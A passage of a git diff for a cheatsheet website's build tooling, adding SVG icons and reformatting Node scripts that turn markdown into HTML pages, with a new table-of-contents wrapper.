5.35-.7-.188-1.125-3.225-.138-6.226.5-1.513 1.563-3.313 2.188-4.013 1.013-1.125 2.113-1.5 2.388-1.038.325.6-1.238 4.95-1.638 5.926zm11.088 5.3c-.275.138-.525.238-.638.163-.088-.05.113-.238.113-.238s1.388-1.488 1.938-2.175l1.088-1.388v.15c0 1.8-1.725 3-2.5 3.488zm8.55-1.95c-.2-.15-.175-.613.5-2.063.263-.575.863-1.538 1.9-2.45.125.375.2.738.188 1.075-.013 2.25-1.613 3.088-2.588 3.438z" />
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.1 KiB |
@ -1,3 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
|
||||
<path d="M4.5 9c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H7v.75H3.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H5v-.75h3.5V9h-4m6 0c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H13v.75H9.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H11v-.75h3.5V9h-4m5 0v6H17v-2.5h2V15h1.5V9H19v2h-2V9h-1.5Z"/>
|
||||
</svg>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 1024 1024">
|
||||
<path fill="currentColor" d="M924.999924,0 C979.676115,-1.00438532e-14 1023.99992,44.3238098 1023.99992,99 L1023.99992,924.999924 C1023.99992,979.676115 979.676115,1023.99992 924.999924,1023.99992 L99,1023.99992 C44.3238098,1023.99992 2.09067569e-14,979.676115 0,924.999924 L0,99 C-6.69590214e-15,44.3238098 44.3238098,2.42547079e-14 99,0 L924.999924,0 Z M297.983357,621.999996 C235.914893,621.999996 189.713556,661.247852 189.713556,713.578343 C189.713556,761.703699 223.78121,786.93446 254.5821,800.017085 L296.583318,818.239305 C325.050813,830.387461 340.451258,836.928764 340.451258,857.95441 C340.451258,877.578338 325.984169,891.595432 292.849882,891.595432 C266.715783,891.595432 238.714972,878.045577 217.714368,858.421639 C214.914289,856.085462 211.180843,856.552701 209.314121,858.888879 L177.579873,895.800557 C175.713151,897.669505 175.246467,901.407401 177.579873,903.743578 C207.447408,933.179475 249.448625,949.999996 291.916516,949.999996 C362.851901,949.999996 407.653208,907.014234 407.653208,853.749275 C407.653208,806.558398 379.185713,781.327626 342.317981,765.441584 L300.783436,748.153834 C274.649348,737.407396 255.98214,729.931614 255.98214,710.774926 C255.98214,692.552697 270.449229,680.87179 297.983357,680.87179 C322.717407,680.87179 341.384614,689.74928 360.518505,705.635322 C363.318584,707.971499 367.05203,707.03703 368.918753,704.700843 L396.452881,670.125352 C398.319604,668.256404 398.319604,664.518508 395.986198,662.182331 C371.252149,637.418799 334.85109,621.999996 297.983357,621.999996 Z M544.855967,621.999996 C482.787502,621.999996 436.586166,661.247852 436.586166,713.578343 C436.586166,761.703699 470.653819,786.93446 501.45471,800.017085 L543.455927,818.239305 C571.923422,830.387461 587.323867,836.928764 587.323867,857.95441 C587.323867,877.578338 572.856778,891.595432 539.722491,891.595432 C513.588403,891.595432 485.587591,878.045577 464.586977,858.421639 C461.786898,856.085462 458.053453,856.552701 456.18673,858.888879 L424.452483,895.800557 C422.58576,897.669505 422.119077,901.407401 424.452483,903.743578 C454.320017,933.179475 496.321234,949.999996 538.789125,949.999996 C609.72452,949.999996 654.525817,907.014234 654.525817,853.749275 C654.525817,806.558398 626.058322,781.327626 589.19059,765.441584 L547.656056,748.153834 C521.521957,737.407396 502.854749,729.931614 502.854749,710.774926 C502.854749,692.552697 517.321838,680.87179 544.855967,680.87179 C569.590016,680.87179 588.257224,689.74928 607.391114,705.635322 C610.191194,707.971499 613.924639,707.03703 615.791362,704.700843 L643.32549,670.125352 C645.192213,668.256404 645.192213,664.518508 642.858807,662.182331 C618.124758,637.418799 581.723709,621.999996 544.855967,621.999996 Z M758.127976,627.60683 L703.993075,627.60683 C701.659669,627.60683 697.926234,629.475778 697.926234,633.213664 L697.926234,938.786319 C697.926234,941.122496 700.25963,944.393152 703.993075,944.393152 L758.127976,944.393152 C760.461382,944.393152 763.728134,942.524204 763.728134,938.786319 L763.728134,808.894575 L876.198064,808.894575 L876.198064,938.786319 C876.198064,941.122496 878.064787,944.393152 881.798222,944.393152 L935.933123,944.393152 C938.266529,944.393152 941.999974,942.524204 941.999974,938.786319 L941.999974,633.213664 C941.999974,630.877486 939.666568,627.60683 935.933123,627.60683 L881.798222,627.60683 C879.464826,627.60683 876.198064,629.475778 876.198064,633.213664 L876.198064,750.022782 L763.728134,750.022782 L763.728134,633.213664 C763.728134,630.877486 761.861421,627.60683 758.127976,627.60683 Z"/>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 357 B After Width: | Height: | Size: 3.5 KiB |
3
scripts/assets/stylus.svg
Normal file
3
scripts/assets/stylus.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 64 64">
|
||||
<path d="M9.864 42.916c1.66-1.986 1.855-4.036.57-7.844-.814-2.4-2.165-4.264-1.172-5.76 1.058-1.595 3.304-.05 1.432 2.083l.374.26c2.246.26 3.353-2.816 1.676-3.694-4.427-2.3-8.3 2.132-6.6 7.275.732 2.18 1.758 4.492.928 6.33-.716 1.58-2.1 2.506-3.027 2.54-1.937.098-.65-4.345 1.58-5.452.195-.098.472-.228.212-.553-2.75-.3-4.362.96-5.3 2.734-2.702 5.16 5.126 7.063 9.3 2.083zM58.2 27.748c.635 1.562 1.595 3.108 1.025 4.476-.472 1.172-1.1 1.66-1.774 1.774-.96.163-.7-2.848.944-3.743.146-.08.358-.472.163-.7-2.083-.114-3.255.88-3.9 2.197-1.84 3.857 4.166 4.915 7.112 1.123 1.172-1.514 1.22-3 .098-5.73-.716-1.725-1.806-3-1.123-4.15.732-1.204 2.5-.163 1.172 1.448l.293.163c1.7.098 2.4-2.18 1.107-2.75-3.434-1.465-6.64 2.23-5.126 5.9zM36.456 23.63c-1.188-.944-4.524.635-5.468 2.978-1.188 2.978-2.946 7.324-4.67 9.228-1.823 2.002-2.002.456-1.823-.7.423-2.718 3.076-9.016 4.524-10.8-.537-.797-4.052-.684-6.494 3.108-.9 1.432-2.995 6.2-5.306 9.96-.505.814-1.14.244-.65-1.66.553-2.197 2.18-8.235 4.28-12.987 5.5-1.1 11.343-1.855 15.82-1.872.602-.163 1-.7 0-.732-3.857-.13-9.65.325-15.07 1 1.04-2.063 2.163-3.733 3.3-4.433-1.237-.78-3.743-.472-5.175 1.644-.635.944-1.27 2.083-1.872 3.32-3.97.618-7.372 1.318-9.098 1.97-1.8.684-1.595 2.848-.505 2.44 2.262-.846 5.322-1.725 8.723-2.506-2.165 4.882-3.857 10.644-4.264 12.987-1 5.696 2.523 5.664 4.248 3.418 1.872-2.457 5.777-11.1 6.38-12 .18-.3.423-.146.293.13-4.362 8.707-3.987 12.076-.456 11.327 1.595-.342 4.345-3.076 5.06-4.492.146-.342.456-.3.4-.163-2.767 7.177-6.282 12.987-8.642 14.8-2.148 1.644-3.743-1.92 3.857-7.03 1.123-.765.602-1.806-.667-1.448-3.922.618-15.152 4.183-20.083 7.6-.374.26-.716.472-.7 1 .016.3.553.195.814.033 6.38-3.825 11.604-5.322 17.593-6.575.08.033.18.05.26.016.277-.065.26.08.08.195-.407.228-.814.44-.9.472-4.036 1.58-6.477 5.06-5.615 6.835.732 1.53 4.687.976 6.56-.033 4.6-2.5 7.926-7.372 10.204-14.1 1.986-5.973 4.492-12.743 5.078-12.938zM63.13 37.415c-7.47-.976-23.582.325-30.694 2.213-2.116.553-1.53 1.676-.456 1.465.016 0 .472-.114.488-.114 5.843-1.14 20.018-2.132 28.285-.553.993.18 3.97-2.8 2.376-3zm-24.6-.88c2.083-1.042 5.175-7.486 7.2-11.018.146-.26.407-.05.26.13-5.143 8.853-2.962 9.88-.928 9.748 2.718-.163 5.224-4.07 5.777-4.947.228-.342.358-.065.228.18-.13.407-.602 1.123-1.042 2.1-.618 1.383.033 1.92.57 2.165.846.407 3.157.146 3.515-1.27-2.3-.05 3.222-10.953 3.792-11.62-1.546-.895-3.938.08-5.03 2.23-2.327 4.606-4.28 8.316-5.5 8.38-2.376.13 2.734-10.27 3.564-10.595-.505-.732-3.743-.423-5.55 2.376-.65 1-4.622 8.04-5.598 9.195-1.725 2.05-1.855.293-1.367-1.758.163-.7.44-1.595.797-2.588 1.14-2.57 2.36-3.385 3.108-4.215 5.03-5.582 7.9-10.107 6.77-11.88-1-1.58-4.378-.88-6.542 2.376-3.987 5.973-7.665 14.16-8.137 17.902-.456 3.743 2.262 4.02 4.1 3.108zm2.116-10.953c.18-.407.293-.52.602-1.204 1.8-3.938 4.036-8.088 5.582-10.025.96-1 2.3.358-.13 4.1a37.625 37.625 0 0 1-4.834 6.038c-.456.52-.863.944-1.042 1.188-.13.163-.277.13-.18-.098z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.0 KiB |
3
scripts/assets/swiftui.svg
Normal file
3
scripts/assets/swiftui.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" width="1em" height="1em" viewBox="0 0 150 150">
|
||||
<path d="M149.996652,41.5504118 C149.996652,40.0404009 149.969865,38.5370862 149.929684,37.0237271 C149.889479,33.7232863 149.600703,30.4305622 149.065807,27.1735006 C148.507382,23.9127729 147.466929,20.7532587 145.978615,17.7987099 C142.956518,11.8649909 138.1316,7.04156844 132.19675,4.0211156 C129.242865,2.53082012 126.082821,1.49033249 122.821331,0.934130935 C119.563242,0.396319522 116.269046,0.106431705 112.967097,0.066962791 C111.456985,0.0267851164 109.953569,0.0100444187 108.440109,0 L41.5565427,0 C40.0464306,0 38.5430153,0.0267851164 37.0295549,0.066962791 C36.2092058,0.0903997679 35.3855083,0.117184884 34.5618108,0.157362559 C32.0854761,0.256798914 29.6181641,0.516263128 27.1753203,0.934130935 C24.7417426,1.35877149 22.3608012,2.04348485 20.0734408,2.97649606 C19.3010849,3.30014955 18.5410063,3.64835606 17.7932051,4.0211156 C15.5863952,5.15055914 13.519722,6.53499141 11.6355641,8.14602353 C11.0060717,8.68507399 10.4000179,9.2442133 9.81740256,9.8200933 C7.47219368,12.1591083 5.51152349,14.8541431 4.00799143,17.8054061 C2.51889323,20.7596305 1.47840127,23.9192644 0.920800036,27.1801969 C0.390726031,30.4353902 0.106428217,33.7258611 0.0703156391,37.0237271 C0.0267869101,38.5337381 0.0100450913,40.0370527 0,41.5504118 L0,108.456284 C0,109.966295 0.0267869101,111.46961 0.0703156391,112.979621 C0.110229315,116.280076 0.39900748,119.572822 0.934193491,122.829848 C1.49106583,126.090961 2.53159273,129.250701 4.02138488,132.204638 C7.04518753,138.133686 11.8652306,142.95575 17.7932051,145.982233 C20.747852,147.46998 23.9076759,148.509267 27.1686236,149.065869 C30.4267126,149.60368 33.7209094,149.893568 37.0228582,149.933037 C38.5296219,149.973215 40.0363856,149.989956 41.549846,150 L108.446806,150 C109.956918,150 111.460333,149.973215 112.973793,149.933037 C116.276759,149.891708 119.571929,149.601833 122.831376,149.065869 C126.092204,148.508782 129.251957,147.469519 132.206795,145.982233 C138.136507,142.956565 142.95707,138.132809 145.978615,132.20129 C147.468407,129.247353 148.508934,126.087613 149.065807,122.826499 C149.603754,119.569766 149.893662,116.276895 149.933033,112.976273 C149.973213,111.46961 149.989955,109.962947 150,108.452936 L150,46.9241758 C149.996652,45.1329211 149.996652,43.3416665 149.996652,41.5504118 Z M126.598286,122.240575 C119.901558,109.206268 107.4356,112.440571 101.046922,115.721747 C100.471003,116.056561 99.8816911,116.391375 99.2890308,116.726189 L99.1483995,116.809893 C85.9223626,123.840986 68.1659896,124.356599 50.312514,116.682663 C35.779112,110.381458 23.4900254,99.8344883 15.0575919,86.4255262 C19.1601349,89.4606647 23.5534617,92.08168 28.1731327,94.2501283 C47.0445109,103.089217 66.0096433,102.449722 79.4030984,94.2501283 C60.3174249,79.5685364 44.3792134,60.4339189 32.161034,44.9588179 C29.8334165,42.2434232 27.7304143,39.3433109 25.8728068,36.2871364 C40.5051565,49.6796946 63.6088665,66.4940515 71.9061119,71.1479654 C54.3037636,52.5691391 38.7941426,29.6511239 39.5207375,30.3877146 C67.2418412,58.3178947 92.819992,74.1110689 92.819992,74.1110689 C93.7843207,74.640075 94.4941738,75.0652887 95.0734408,75.4503248 C95.6092689,74.0835027 96.0741937,72.6899392 96.4663601,71.2751948 C100.892897,55.0936363 95.9105317,36.5951653 84.6432876,21.3209527 C110.355373,36.7491797 125.553596,66.075534 119.32564,90.8785518 C119.178312,91.45778 119.007545,92.0169193 118.843475,92.5827548 C131.741372,108.452936 128.232287,125.451441 126.588241,122.243923 L126.598286,122.240575 Z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.5 KiB |
4
scripts/assets/vue.svg
Normal file
4
scripts/assets/vue.svg
Normal file
@ -0,0 +1,4 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 24 24" height="1em" width="1em">
|
||||
<path d="m12 12.765 5.592-9.437h-3.276L12 7.33v.002L9.688 3.328h-3.28z"/>
|
||||
<path d="M18.461 3.332 12 14.235 5.539 3.332H1.992L12 20.672l10.008-17.34z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 269 B |
@ -1,3 +1,3 @@
|
||||
import { run } from './index.mjs';
|
||||
|
||||
run()
|
||||
run();
|
||||
|
||||
@ -1,6 +1,7 @@
|
||||
import markdown from '@wcj/markdown-to-html';
|
||||
import rehypeDocument from 'rehype-document';
|
||||
import remarkGemoji from 'remark-gemoji';
|
||||
import rehypeRaw from 'rehype-raw';
|
||||
import rehypeAutolinkHeadings from 'rehype-autolink-headings';
|
||||
import rehypeSlug from 'rehype-slug';
|
||||
import { htmlTagAddAttri } from './nodes/htmlTagAddAttri.mjs';
|
||||
@ -9,9 +10,10 @@ import { header } from './nodes/header.mjs';
|
||||
import { rehypeUrls } from './utils/rehypeUrls.mjs';
|
||||
import { tooltips } from './utils/tooltips.mjs';
|
||||
import { homeCardIcons } from './utils/homeCardIcons.mjs';
|
||||
import { getTocsTree } from './utils/getTocsTree.mjs';
|
||||
import { getTocsTree, getTocsTitleNode, getTocsTitleNodeWarpper, addTocsInWarp } from './utils/getTocsTree.mjs';
|
||||
import { rehypeTitle } from './utils/rehypeTitle.mjs';
|
||||
import { anchorPoint } from './utils/anchorPoint.mjs';
|
||||
import { rehypePreviewHTML } from './utils/rehypePreviewHTML.mjs';
|
||||
|
||||
const favicon = `data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20height%3D%221em%22%20width%3D%221em%22%3E%20%3Cpath%20d%3D%22m21.66%2010.44-.98%204.18c-.84%203.61-2.5%205.07-5.62%204.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2%201.17-2.42%203.16-3.07%206.5-2.28l1.67.39c4.19.98%205.47%203.05%204.49%207.23Z%22%20fill%3D%22%23c9d1d9%22%2F%3E%20%3Cpath%20d%3D%22M15.06%2019.39c-.62.42-1.4.77-2.35%201.08l-1.58.52c-3.97%201.28-6.06.21-7.35-3.76L2.5%2013.28c-1.28-3.97-.22-6.07%203.75-7.35l1.58-.52c.41-.13.8-.24%201.17-.31-.3.61-.54%201.35-.74%202.2l-.98%204.19c-.98%204.18.31%206.24%204.48%207.23l1.68.4c.58.14%201.12.23%201.62.27Zm2.43-8.88c-.06%200-.12-.01-.19-.02l-4.85-1.23a.75.75%200%200%201%20.37-1.45l4.85%201.23a.748.748%200%200%201-.18%201.47Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3Cpath%20d%3D%22M14.56%2013.89c-.06%200-.12-.01-.19-.02l-2.91-.74a.75.75%200%200%201%20.37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3C%2Fsvg%3E`;
|
||||
|
||||
@ -19,8 +21,11 @@ export function create(str = '', options = {}) {
|
||||
let title = str.match(/[^===]+(?=[===])/g) || [];
|
||||
let description = str.match(/\n==={1,}\n+([\s\S]*?)\n/g) || [];
|
||||
title = title[0] || '';
|
||||
description = (description[0] || '').replace(/^\n[=\n]+/, '').replace(/\[([\s\S]*?)?\]\(([\s\S]*?)?\)/g, '$1').replace(/\n/, '');
|
||||
const subTitle = options.filename && !options.isHome ? `${options.filename} cheatsheet & `: ''
|
||||
description = (description[0] || '')
|
||||
.replace(/^\n[=\n]+/, '')
|
||||
.replace(/\[([\s\S]*?)?\]\(([\s\S]*?)?\)/g, '$1')
|
||||
.replace(/\n/, '');
|
||||
const subTitle = options.filename && !options.isHome ? `${options.filename} cheatsheet & ` : '';
|
||||
const mdOptions = {
|
||||
showLineNumbers: false,
|
||||
hastNode: false,
|
||||
@ -28,33 +33,53 @@ export function create(str = '', options = {}) {
|
||||
rehypePlugins: [
|
||||
rehypeSlug,
|
||||
rehypeAutolinkHeadings,
|
||||
[rehypeDocument, {
|
||||
title: `${title ? `${title} & ` : ''} ${subTitle} Quick Reference`,
|
||||
css: [ ...options.css ],
|
||||
link: [
|
||||
{rel: 'icon', href: favicon, type: 'image/svg+xml'}
|
||||
],
|
||||
meta: [
|
||||
{ description: `${description}为开发人员分享快速参考备忘单。` },
|
||||
{ keywords: `Quick,Reference,cheatsheet,${!options.isHome && options.filename || ''}` }
|
||||
]
|
||||
}],
|
||||
[
|
||||
rehypeDocument,
|
||||
{
|
||||
title: `${title ? `${title} & ` : ''} ${subTitle} Quick Reference`,
|
||||
css: [...options.css],
|
||||
link: [{ rel: 'icon', href: favicon, type: 'image/svg+xml' }],
|
||||
meta: [
|
||||
{ description: `${description}为开发人员分享快速参考备忘单。` },
|
||||
{ keywords: `Quick,Reference,cheatsheet,${(!options.isHome && options.filename) || ''}` },
|
||||
],
|
||||
},
|
||||
],
|
||||
],
|
||||
filterPlugins: (type, plugins = []) => {
|
||||
if (type === 'rehype') {
|
||||
const dt = plugins.filter((plug) => {
|
||||
return /(rehypeRaw)/.test(plug.name) ? false : true;
|
||||
});
|
||||
// 放在 rehypeDocument 前面
|
||||
dt.unshift(rehypeRaw);
|
||||
dt.unshift(rehypePreviewHTML);
|
||||
return dt;
|
||||
}
|
||||
return plugins;
|
||||
},
|
||||
rewrite: (node, index, parent) => {
|
||||
rehypeTitle(node, options.filename);
|
||||
homeCardIcons(node, parent, options.isHome);
|
||||
tooltips(node, index, parent);
|
||||
htmlTagAddAttri(node, options);
|
||||
rehypeUrls(node);
|
||||
if (node.type === 'element' && node.tagName === 'body') {
|
||||
node.children = getTocsTree([ ...node.children ]);
|
||||
node.children.unshift(header(options));
|
||||
node.children.push(footer());
|
||||
node.children.push(anchorPoint());
|
||||
if (node.children) {
|
||||
if (node.type === 'element' && node.tagName === 'body') {
|
||||
const tocsData = getTocsTree([...node.children]);
|
||||
if (!options.isHome) {
|
||||
const tocsMenus = getTocsTitleNode([...tocsData]);
|
||||
node.children = addTocsInWarp([...tocsData], getTocsTitleNodeWarpper(tocsMenus));
|
||||
} else {
|
||||
node.children = tocsData;
|
||||
}
|
||||
node.children.unshift(header(options));
|
||||
node.children.push(footer());
|
||||
node.children.push(anchorPoint());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
},
|
||||
};
|
||||
|
||||
return markdown(str, mdOptions);
|
||||
}
|
||||
}
|
||||
|
||||
@ -11,15 +11,20 @@ export const CSS_OUTPUT_PATH = path.resolve(OUTOUT, 'style/style.css');
|
||||
export async function createHTML(files = [], num = 0) {
|
||||
const dataFile = files[num];
|
||||
if (!dataFile) {
|
||||
console.log(' \n done!\n')
|
||||
console.log(' \n done!\n');
|
||||
return;
|
||||
}
|
||||
++num;
|
||||
const githubURL = `https://github.com/jaywcjlove/reference/blob/main/${path.relative(process.cwd(), dataFile.path).replace(path.sep, '/')}`;
|
||||
|
||||
const githubURL = `https://github.com/jaywcjlove/reference/blob/main/${path
|
||||
.relative(process.cwd(), dataFile.path)
|
||||
.replace(path.sep, '/')}`;
|
||||
|
||||
const mdstr = await fs.readFile(dataFile.path);
|
||||
const htmlPath = path.relative(DOCS, dataFile.path);
|
||||
const outputHTMLPath = path.resolve(OUTOUT, 'docs', htmlPath).replace(/README.md$/i, 'index.html').replace(/.md$/, '.html');
|
||||
const outputHTMLPath = path
|
||||
.resolve(OUTOUT, 'docs', htmlPath)
|
||||
.replace(/README.md$/i, 'index.html')
|
||||
.replace(/.md$/, '.html');
|
||||
|
||||
await fs.ensureDir(path.dirname(outputHTMLPath));
|
||||
|
||||
@ -28,18 +33,18 @@ export async function createHTML(files = [], num = 0) {
|
||||
isHome: /README.md$/.test(path.relative(process.cwd(), dataFile.path)),
|
||||
githubURL,
|
||||
homePath: path.relative(path.dirname(outputHTMLPath), path.resolve(OUTOUT, 'index.html')),
|
||||
css: [path.relative(path.dirname(outputHTMLPath), CSS_OUTPUT_PATH)]
|
||||
css: [path.relative(path.dirname(outputHTMLPath), CSS_OUTPUT_PATH)],
|
||||
});
|
||||
await fs.writeFile(outputHTMLPath, html);
|
||||
console.log(`♻️ \x1b[32;1m ${path.relative(OUTOUT, outputHTMLPath)} \x1b[0m`)
|
||||
createHTML(files, num)
|
||||
console.log(`♻️ \x1b[32;1m ${path.relative(OUTOUT, outputHTMLPath)} \x1b[0m`);
|
||||
createHTML(files, num);
|
||||
}
|
||||
|
||||
export async function run() {
|
||||
await fs.ensureDir(OUTOUT);
|
||||
await fs.emptyDir(OUTOUT);
|
||||
await fs.ensureDir(path.dirname(CSS_OUTPUT_PATH));
|
||||
await fs.copyFile(CSSPATH, CSS_OUTPUT_PATH)
|
||||
await fs.copyFile(CSSPATH, CSS_OUTPUT_PATH);
|
||||
const files = await recursiveReaddirFiles(process.cwd(), {
|
||||
ignored: /\/(node_modules|\.git)/,
|
||||
exclude: /(\.json|\.mjs|CONTRIBUTING\.md)$/,
|
||||
|
||||
@ -3,25 +3,25 @@ import { github, editor } from './logo.mjs';
|
||||
import { getSVGNode } from '../utils/getSVGNode.mjs';
|
||||
import { darkMode } from '../utils/darkMode.mjs';
|
||||
|
||||
const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets/quickreference.svg')
|
||||
const ICONS_PATH = path.resolve(process.cwd(), 'scripts/assets/quickreference.svg');
|
||||
export function header({ homePath, githubURL = '' }) {
|
||||
const svgNode = getSVGNode(ICONS_PATH)
|
||||
const svgNode = getSVGNode(ICONS_PATH);
|
||||
const data = [
|
||||
{
|
||||
menu: true,
|
||||
href: githubURL,
|
||||
target: '__blank',
|
||||
label: '编辑',
|
||||
children: [editor]
|
||||
children: [editor],
|
||||
},
|
||||
...darkMode(),
|
||||
{
|
||||
menu: true,
|
||||
href: 'https://github.com/jaywcjlove/reference',
|
||||
target: '__blank',
|
||||
children: [github]
|
||||
}
|
||||
]
|
||||
children: [github],
|
||||
},
|
||||
];
|
||||
return {
|
||||
type: 'element',
|
||||
tagName: 'nav',
|
||||
@ -51,10 +51,8 @@ export function header({ homePath, githubURL = '' }) {
|
||||
properties: {
|
||||
class: ['title'],
|
||||
},
|
||||
children: [
|
||||
{ type: 'text', value: 'Quick Reference' }
|
||||
]
|
||||
}
|
||||
children: [{ type: 'text', value: 'Quick Reference' }],
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
@ -75,29 +73,28 @@ export function header({ homePath, githubURL = '' }) {
|
||||
type: 'element',
|
||||
tagName: 'span',
|
||||
properties: {},
|
||||
children: label ? [
|
||||
{ type: 'text', value: label }
|
||||
] : []
|
||||
}
|
||||
]
|
||||
}
|
||||
children: label ? [{ type: 'text', value: label }] : [],
|
||||
},
|
||||
],
|
||||
};
|
||||
if (label) {
|
||||
childs.children = [...children, {
|
||||
type: 'element',
|
||||
tagName: 'span',
|
||||
properties: {},
|
||||
children: [
|
||||
{ type: 'text', value: label }
|
||||
]
|
||||
}];
|
||||
childs.children = [
|
||||
...children,
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'span',
|
||||
properties: {},
|
||||
children: [{ type: 'text', value: label }],
|
||||
},
|
||||
];
|
||||
} else {
|
||||
childs.children = children;
|
||||
}
|
||||
return childs
|
||||
return childs;
|
||||
}),
|
||||
},
|
||||
],
|
||||
}
|
||||
},
|
||||
],
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
@ -5,4 +5,4 @@ export function htmlTagAddAttri(node, { isHome }) {
|
||||
if (node && node.tagName === 'body' && isHome) {
|
||||
node.properties.class = ['home'];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -3,38 +3,38 @@ export const logo = [
|
||||
type: 'element',
|
||||
tagName: 'svg',
|
||||
properties: {
|
||||
viewBox: "0 0 24 24",
|
||||
fill: "none",
|
||||
xmlns: "http://www.w3.org/2000/svg",
|
||||
height: "1em",
|
||||
width: "1em"
|
||||
viewBox: '0 0 24 24',
|
||||
fill: 'none',
|
||||
xmlns: 'http://www.w3.org/2000/svg',
|
||||
height: '1em',
|
||||
width: '1em',
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'path',
|
||||
properties: {
|
||||
opacity: ".5",
|
||||
d: "m21.66 10.44-.98 4.18c-.84 3.61-2.5 5.07-5.62 4.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2 1.17-2.42 3.16-3.07 6.5-2.28l1.67.39c4.19.98 5.47 3.05 4.49 7.23Z",
|
||||
fill: "white"
|
||||
opacity: '.5',
|
||||
d: 'm21.66 10.44-.98 4.18c-.84 3.61-2.5 5.07-5.62 4.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2 1.17-2.42 3.16-3.07 6.5-2.28l1.67.39c4.19.98 5.47 3.05 4.49 7.23Z',
|
||||
fill: 'white',
|
||||
},
|
||||
},
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'path',
|
||||
properties: {
|
||||
d: "M15.06 19.39c-.62.42-1.4.77-2.35 1.08l-1.58.52c-3.97 1.28-6.06.21-7.35-3.76L2.5 13.28c-1.28-3.97-.22-6.07 3.75-7.35l1.58-.52c.41-.13.8-.24 1.17-.31-.3.61-.54 1.35-.74 2.2l-.98 4.19c-.98 4.18.31 6.24 4.48 7.23l1.68.4c.58.14 1.12.23 1.62.27Zm2.43-8.88c-.06 0-.12-.01-.19-.02l-4.85-1.23a.75.75 0 0 1 .37-1.45l4.85 1.23a.748.748 0 0 1-.18 1.47Z" ,
|
||||
fill: "#cbd5e1"
|
||||
d: 'M15.06 19.39c-.62.42-1.4.77-2.35 1.08l-1.58.52c-3.97 1.28-6.06.21-7.35-3.76L2.5 13.28c-1.28-3.97-.22-6.07 3.75-7.35l1.58-.52c.41-.13.8-.24 1.17-.31-.3.61-.54 1.35-.74 2.2l-.98 4.19c-.98 4.18.31 6.24 4.48 7.23l1.68.4c.58.14 1.12.23 1.62.27Zm2.43-8.88c-.06 0-.12-.01-.19-.02l-4.85-1.23a.75.75 0 0 1 .37-1.45l4.85 1.23a.748.748 0 0 1-.18 1.47Z',
|
||||
fill: '#cbd5e1',
|
||||
},
|
||||
},
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'path',
|
||||
properties: {
|
||||
d: "M14.56 13.89c-.06 0-.12-.01-.19-.02l-2.91-.74a.75.75 0 0 1 .37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z",
|
||||
fill: "#292D32"
|
||||
d: 'M14.56 13.89c-.06 0-.12-.01-.19-.02l-2.91-.74a.75.75 0 0 1 .37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z',
|
||||
fill: '#292D32',
|
||||
},
|
||||
}
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
@ -43,48 +43,45 @@ export const logo = [
|
||||
properties: {
|
||||
class: ['title'],
|
||||
},
|
||||
children: [
|
||||
{ type: 'text', value: 'Quick Reference' }
|
||||
]
|
||||
}
|
||||
children: [{ type: 'text', value: 'Quick Reference' }],
|
||||
},
|
||||
];
|
||||
|
||||
export const github = {
|
||||
type: 'element',
|
||||
tagName: 'svg',
|
||||
properties: {
|
||||
viewBox: "0 0 16 16",
|
||||
fill: "currentColor",
|
||||
height: "1em",
|
||||
width: "1em"
|
||||
viewBox: '0 0 16 16',
|
||||
fill: 'currentColor',
|
||||
height: '1em',
|
||||
width: '1em',
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'path',
|
||||
properties: {
|
||||
